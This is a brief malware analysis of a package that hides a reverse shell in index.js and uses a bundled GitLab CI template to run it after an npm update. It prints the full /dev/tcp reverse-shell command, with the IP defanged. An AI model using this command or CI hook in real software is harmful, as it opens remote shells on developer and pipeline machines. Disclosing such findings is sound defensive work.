Analysis
Package ships a reverse shell payload in index.js: `/bin/sh -i >& /dev/tcp/10[.]0[.]64[.]141/4000 0>&1`. The package also declares itself as a dependency (self-dependency). A bundled .gitlab-ci.yml template runs the payload via `node check.js` after an npm update, enabling execution in CI pipelines. The reverse shell connects to 10[.]0[.]64[.]141:4000.
